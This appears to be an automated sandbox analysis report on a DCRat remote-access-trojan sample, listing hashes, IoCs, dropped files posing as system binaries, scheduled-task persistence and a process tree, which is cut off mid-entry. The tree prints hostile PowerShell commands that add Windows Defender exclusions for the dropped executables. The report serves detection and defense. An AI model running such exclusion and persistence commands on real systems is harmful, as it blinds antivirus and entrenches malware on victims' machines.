dcrat | ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1

Analysis

max time kernel
53s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
01/11/2022, 14:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe
Size

1.3MB
MD5

5ec903e23e0761c4a80461c4e432924c
SHA1

9d0b43901d9bfbe2012a2a48d00f75f6c736591d
SHA256

ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1
SHA512

fcc167508708b7c472b420b3091f6c99d0f1719280379e35a342bf32eeeae98dd8eebcb9e5417501d4c8aef12cc673cd948647ae0a916aa671536f51978e816d
SSDEEP

24576:U2G/nvxW3Ww0t6TnzGmVBDh4+aknuRRZJND0gFJ4rD/IjC:UbA30GnzV/q+DnsXg

Score

10^/10

dcrat infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4524	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4072	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1860	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3408	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1076	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2628	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3084	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	456	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4528	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2496	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3112	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	932	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4720	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1156	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2728	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1668	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1548	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	660	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2816	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1772	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1576	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3184	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	384	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2256	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4584	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4600	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3056	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3156	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4952	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4120	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1588	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2356	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4080	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2992	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4064	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3420	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4140	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1608	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4664	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	824	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4440	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1652	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2164	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4996	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4956	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2744	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2148	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2172	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5012	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1288	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4960	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4576	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	4320	schtasks.exe	17
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5064	4320	schtasks.exe	17

DCRat payload 10 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0006000000022e2b-137.dat	dcrat
behavioral1/files/0x0006000000022e2b-138.dat	dcrat
behavioral1/memory/4280-139-0x0000000000E80000-0x0000000000F90000-memory.dmp	dcrat
behavioral1/files/0x0006000000022e2b-148.dat	dcrat
behavioral1/files/0x0006000000022e2b-228.dat	dcrat
behavioral1/files/0x0006000000022e4f-232.dat	dcrat
behavioral1/files/0x0006000000022e5f-230.dat	dcrat
behavioral1/files/0x0006000000022e70-260.dat	dcrat
behavioral1/files/0x0006000000022e70-261.dat	dcrat
behavioral1/files/0x0006000000022e70-323.dat	dcrat

Executes dropped EXE 4 IoCs

pid	Process
4280	DllCommonsvc.exe
2488	DllCommonsvc.exe
372	DllCommonsvc.exe
1224	WaaSMedicAgent.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WaaSMedicAgent.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\38384e6a620884	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\Media Renderer\088424020bedd6	DllCommonsvc.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\55b276f4edf653	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\9e8d7a4ca61bd9	DllCommonsvc.exe
File created	C:\Program Files\Windows Sidebar\Shared Gadgets\fontdrvhost.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Sidebar\Shared Gadgets\5b884080fd4f94	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\explorer.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\SearchApp.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\7a0fd90576e088	DllCommonsvc.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe	DllCommonsvc.exe
File created	C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\f3b6ecef712a24	DllCommonsvc.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\StartMenuExperienceHost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\Media Renderer\conhost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Photo Viewer\ja-JP\RuntimeBroker.exe	DllCommonsvc.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\INF\rdyboost\SppExtComObj.exe	DllCommonsvc.exe
File created	C:\Windows\INF\rdyboost\e1ef82546f0b02	DllCommonsvc.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\SearchApp.exe	DllCommonsvc.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\38384e6a620884	DllCommonsvc.exe
File created	C:\Windows\Fonts\Idle.exe	DllCommonsvc.exe
File created	C:\Windows\Fonts\6ccacd8608530f	DllCommonsvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3040	schtasks.exe
2172	schtasks.exe
5012	schtasks.exe
4528	schtasks.exe
1668	schtasks.exe
4588	schtasks.exe
2020	schtasks.exe
4072	schtasks.exe
2356	schtasks.exe
2744	schtasks.exe
3260	schtasks.exe
380	schtasks.exe
1156	schtasks.exe
992	schtasks.exe
624	schtasks.exe
456	schtasks.exe
4440	schtasks.exe
552	schtasks.exe
3420	schtasks.exe
4996	schtasks.exe
4960	schtasks.exe
1188	schtasks.exe
2132	schtasks.exe
2356	schtasks.exe
1860	schtasks.exe
1576	schtasks.exe
1608	schtasks.exe
4720	schtasks.exe
384	schtasks.exe
1588	schtasks.exe
2816	schtasks.exe
4120	schtasks.exe
1288	schtasks.exe
620	schtasks.exe
3408	schtasks.exe
4584	schtasks.exe
2148	schtasks.exe
2728	schtasks.exe
4416	schtasks.exe
4372	schtasks.exe
2628	schtasks.exe
2200	schtasks.exe
2500	schtasks.exe
1940	schtasks.exe
4080	schtasks.exe
1772	schtasks.exe
3056	schtasks.exe
4276	schtasks.exe
3596	schtasks.exe
648	schtasks.exe
1652	schtasks.exe
2572	schtasks.exe
4524	schtasks.exe
4576	schtasks.exe
660	schtasks.exe
2340	schtasks.exe
824	schtasks.exe
3780	schtasks.exe
3084	schtasks.exe
2148	schtasks.exe
1224	schtasks.exe
1752	schtasks.exe
1076	schtasks.exe
2164	schtasks.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	DllCommonsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4280	DllCommonsvc.exe
4280	DllCommonsvc.exe
4280	DllCommonsvc.exe
3392	Process not Found
216	powershell.exe
4900	powershell.exe
2920	Process not Found
1404	powershell.exe
3252	powershell.exe
3392	Process not Found
4900	powershell.exe
216	powershell.exe
2920	Process not Found
2488	DllCommonsvc.exe
3252	powershell.exe
1404	powershell.exe
2488	DllCommonsvc.exe
2488	DllCommonsvc.exe
2488	DllCommonsvc.exe
2488	DllCommonsvc.exe
4676	schtasks.exe
4744	powershell.exe
4748	powershell.exe
1304	powershell.exe
1304	powershell.exe
3788	powershell.exe
3788	powershell.exe
2736	powershell.exe
2736	powershell.exe
5048	powershell.exe
5048	powershell.exe
2768	powershell.exe
2768	powershell.exe
2736	powershell.exe
4148	powershell.exe
4148	powershell.exe
316	powershell.exe
316	powershell.exe
5024	powershell.exe
5024	powershell.exe
4892	powershell.exe
4892	powershell.exe
1724	powershell.exe
1724	powershell.exe
4676	schtasks.exe
4676	schtasks.exe
4748	powershell.exe
4748	powershell.exe
1304	powershell.exe
1304	powershell.exe
2768	powershell.exe
4744	powershell.exe
4744	powershell.exe
5048	powershell.exe
3788	powershell.exe
4148	powershell.exe
316	powershell.exe
1724	powershell.exe
5024	powershell.exe
4892	powershell.exe
372	DllCommonsvc.exe
372	DllCommonsvc.exe
372	DllCommonsvc.exe
372	DllCommonsvc.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	4280	DllCommonsvc.exe
Token: SeDebugPrivilege	3392	Process not Found
Token: SeDebugPrivilege	216	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	2920	Process not Found
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	2488	DllCommonsvc.exe
Token: SeDebugPrivilege	4676	schtasks.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	316	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	372	DllCommonsvc.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	456	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	1224	WaaSMedicAgent.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 616	1468	ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe	81
PID 1468 wrote to memory of 616	1468	ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe	81
PID 1468 wrote to memory of 616	1468	ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe	81
PID 616 wrote to memory of 4272	616	WScript.exe	82
PID 616 wrote to memory of 4272	616	WScript.exe	82
PID 616 wrote to memory of 4272	616	WScript.exe	82
PID 4272 wrote to memory of 4280	4272	cmd.exe	84
PID 4272 wrote to memory of 4280	4272	cmd.exe	84
PID 4280 wrote to memory of 1404	4280	DllCommonsvc.exe	100
PID 4280 wrote to memory of 1404	4280	DllCommonsvc.exe	100
PID 4280 wrote to memory of 3392	4280	DllCommonsvc.exe	101
PID 4280 wrote to memory of 3392	4280	DllCommonsvc.exe	101
PID 4280 wrote to memory of 216	4280	DllCommonsvc.exe	102
PID 4280 wrote to memory of 216	4280	DllCommonsvc.exe	102
PID 4280 wrote to memory of 4900	4280	DllCommonsvc.exe	104
PID 4280 wrote to memory of 4900	4280	DllCommonsvc.exe	104
PID 4280 wrote to memory of 2920	4280	DllCommonsvc.exe	105
PID 4280 wrote to memory of 2920	4280	DllCommonsvc.exe	105
PID 4280 wrote to memory of 3252	4280	DllCommonsvc.exe	109
PID 4280 wrote to memory of 3252	4280	DllCommonsvc.exe	109
PID 4280 wrote to memory of 2488	4280	DllCommonsvc.exe	112
PID 4280 wrote to memory of 2488	4280	DllCommonsvc.exe	112
PID 2488 wrote to memory of 4748	2488	DllCommonsvc.exe	149
PID 2488 wrote to memory of 4748	2488	DllCommonsvc.exe	149
PID 2488 wrote to memory of 4676	2488	DllCommonsvc.exe	209
PID 2488 wrote to memory of 4676	2488	DllCommonsvc.exe	209
PID 2488 wrote to memory of 4744	2488	DllCommonsvc.exe	176
PID 2488 wrote to memory of 4744	2488	DllCommonsvc.exe	176
PID 2488 wrote to memory of 3788	2488	DllCommonsvc.exe	152
PID 2488 wrote to memory of 3788	2488	DllCommonsvc.exe	152
PID 2488 wrote to memory of 5048	2488	DllCommonsvc.exe	171
PID 2488 wrote to memory of 5048	2488	DllCommonsvc.exe	171
PID 2488 wrote to memory of 1304	2488	DllCommonsvc.exe	170
PID 2488 wrote to memory of 1304	2488	DllCommonsvc.exe	170
PID 2488 wrote to memory of 2768	2488	DllCommonsvc.exe	154
PID 2488 wrote to memory of 2768	2488	DllCommonsvc.exe	154
PID 2488 wrote to memory of 2736	2488	DllCommonsvc.exe	155
PID 2488 wrote to memory of 2736	2488	DllCommonsvc.exe	155
PID 2488 wrote to memory of 4148	2488	DllCommonsvc.exe	158
PID 2488 wrote to memory of 4148	2488	DllCommonsvc.exe	158
PID 2488 wrote to memory of 316	2488	DllCommonsvc.exe	159
PID 2488 wrote to memory of 316	2488	DllCommonsvc.exe	159
PID 2488 wrote to memory of 5024	2488	DllCommonsvc.exe	161
PID 2488 wrote to memory of 5024	2488	DllCommonsvc.exe	161
PID 2488 wrote to memory of 4892	2488	DllCommonsvc.exe	163
PID 2488 wrote to memory of 4892	2488	DllCommonsvc.exe	163
PID 2488 wrote to memory of 1724	2488	DllCommonsvc.exe	255
PID 2488 wrote to memory of 1724	2488	DllCommonsvc.exe	255
PID 2488 wrote to memory of 2396	2488	DllCommonsvc.exe	173
PID 2488 wrote to memory of 2396	2488	DllCommonsvc.exe	173
PID 2396 wrote to memory of 3472	2396	cmd.exe	177
PID 2396 wrote to memory of 3472	2396	cmd.exe	177
PID 2396 wrote to memory of 372	2396	cmd.exe	182
PID 2396 wrote to memory of 372	2396	cmd.exe	182
PID 372 wrote to memory of 2816	372	DllCommonsvc.exe	238
PID 372 wrote to memory of 2816	372	DllCommonsvc.exe	238
PID 372 wrote to memory of 4088	372	DllCommonsvc.exe	243
PID 372 wrote to memory of 4088	372	DllCommonsvc.exe	243
PID 372 wrote to memory of 4392	372	DllCommonsvc.exe	242
PID 372 wrote to memory of 4392	372	DllCommonsvc.exe	242
PID 372 wrote to memory of 4788	372	DllCommonsvc.exe	244
PID 372 wrote to memory of 4788	372	DllCommonsvc.exe	244
PID 372 wrote to memory of 4708	372	DllCommonsvc.exe	251
PID 372 wrote to memory of 4708	372	DllCommonsvc.exe	251

C:\Users\Admin\AppData\Local\Temp\ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe
"C:\Users\Admin\AppData\Local\Temp\ec8c408278367526e86e73cdcab23402c050e59d5f45b1a7a8f7ae6bafb1fce1.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\providercommon\1zu9dW.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\providercommon\DllCommonsvc.exe
      "C:\providercommon\DllCommonsvc.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Drops file in Program Files directory
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4280
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe'
        5⤵
        
        PID:3392
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\Gadgets\StartMenuExperienceHost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:216
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\SearchApp.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Idle.exe'
        5⤵
        
        PID:2920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\SearchApp.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3252
    - - C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2488
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4748
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\OfficeClickToRun.exe'
        6⤵
        
        PID:4676
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\Idle.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3788
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\INF\rdyboost\SppExtComObj.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\dwm.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\conhost.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4148
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\RuntimeBroker.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\RuntimeBroker.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5024
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\lsass.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4892
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'
        6⤵
        
        PID:1724
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\RuntimeBroker.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1304
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Media Player\Media Renderer\conhost.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5048
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\McA6atQ601.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2396
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:3472
        
        C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        7⤵
        Executes dropped EXE
        Checks computer location settings
